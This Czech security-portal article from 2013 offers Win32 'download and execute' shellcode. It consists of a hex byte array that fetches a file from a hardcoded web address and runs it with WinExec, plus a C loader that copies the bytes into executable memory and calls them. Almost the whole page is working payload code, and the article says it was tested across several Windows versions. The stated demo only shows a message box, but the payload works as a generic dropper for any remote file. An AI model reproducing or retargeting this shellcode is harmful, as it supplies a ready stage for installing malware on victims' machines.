

## Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode

Vložil/a [RubberDuck](#) [1], 22 Leden, 2013 - 17:16

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Kód Win32 portable shellcodu s funkcí "Stáhni a spusť". Využívá funkce URLDownloadToFile (urlmon.dll), WinExec a ExitProcess (oba kernel32.dll). Ukázkový příklad se stahuje z URL adresy <http://bflow.security-portal.cz/download/xy.txt> [3] a po spuštění zobrazí MessageBox se zprávou "Test application for Allwin URLDownloadToFile shellcode" a titulkem ">> Author: RubberDuck - <http://bflow.security-portal.cz> [4] <<". Shellcode byl testován na systémech Win 2k, Win XP Home SP2/SP3 CZ (32), Win 7 (32/64) (díky za pomoc s testováním :)).

```
#include <windows.h>
#include <stdio.h>

int main(){
    unsigned char shellcode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B "
"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53 "
"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72 "
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81 "
"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04 "
"\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64 "
"\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3 "
"\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3 "
"\x8B\x14\x8E\x03\xD3\x33\xC9\x51\x68\x2E "
"\x65\x78\x65\x68\x64\x65\x61\x64\x53\x52 "
"\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62 "
"\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2 "
"\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C "
"\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C "
"\x6D\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24 "
"\x04\x33\xC9\x51\x66\xB9\x65\x41\x51\x33 "
"\xC9\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64 "
"\x54\x68\x6F\x77\x6E\x6C\x68\x55\x52\x4C "
"\x44\x54\x50\xFF\xD2\x33\xC9\x8D\x54\x24 "
"\x24\x51\x51\x52\xEB\x47\x51\xFF\xD0\x83 "
"\xC4\x1C\x33\xC9\x5A\x5B\x53\x52\x51\x68 "
"\x78\x65\x63\x61\x88\x4C\x24\x03\x68\x57 "
"\x69\x6E\x45\x54\x53\xFF\xD2\x6A\x05\x8D "
"\x4C\x24\x18\x51\xFF\xD0\x83\xC4\x0C\x5A "
"\x5B\x68\x65\x73\x73\x61\x83\x6C\x24\x03 "
"\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69 "
"\x74\x54\x53\xFF\xD2\xFF\xD0\xE8\xB4\xFF "
"\xFF\xFF "
// http://bflow.security-portal.cz/download/xy.txt
"\x68\x74\x74\x70\x3A\x2F\x2F\x62 "
"\x66\x6C\x6F\x77\x2E\x73\x65\x63\x75\x72 "
"\x69\x74\x79\x2D\x70\x6F\x72\x74\x61\x6C "
"\x2E\x63\x7A\x2F\x64\x6F\x77\x6E\x2F\x78 "
"\x79\x2E\x74\x78\x74\x00 " ;
```

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Publikováno na serveru Security-Portal.cz (<https://www.security-portal.cz>)

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```
LPVOID lpAlloc = NULL;
void (*pfunc)();

lpAlloc = VirtualAlloc(0, 4096,
                      MEM_COMMIT,
                      PAGE_EXECUTE_READWRITE);

if(lpAlloc == NULL){
    printf("Memory isn't allocated!\n");
    return 0;
}

memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1);

pfunc = (void (*)())lpAlloc;

pfunc();

return 0;
}
```

### URL článku:

<https://www.security-portal.cz/clanky/allwin-urldownloadtofile-winexec-exitprocess-shellcode>

### Odkazy:

- [1] <https://www.security-portal.cz/users/rubberduck>
- [2] <https://www.security-portal.cz/category/tagy/programming>
- [3] <http://bflow.security-portal.cz/down/xy.txt>
- [4] <http://bflow.security-portal.cz>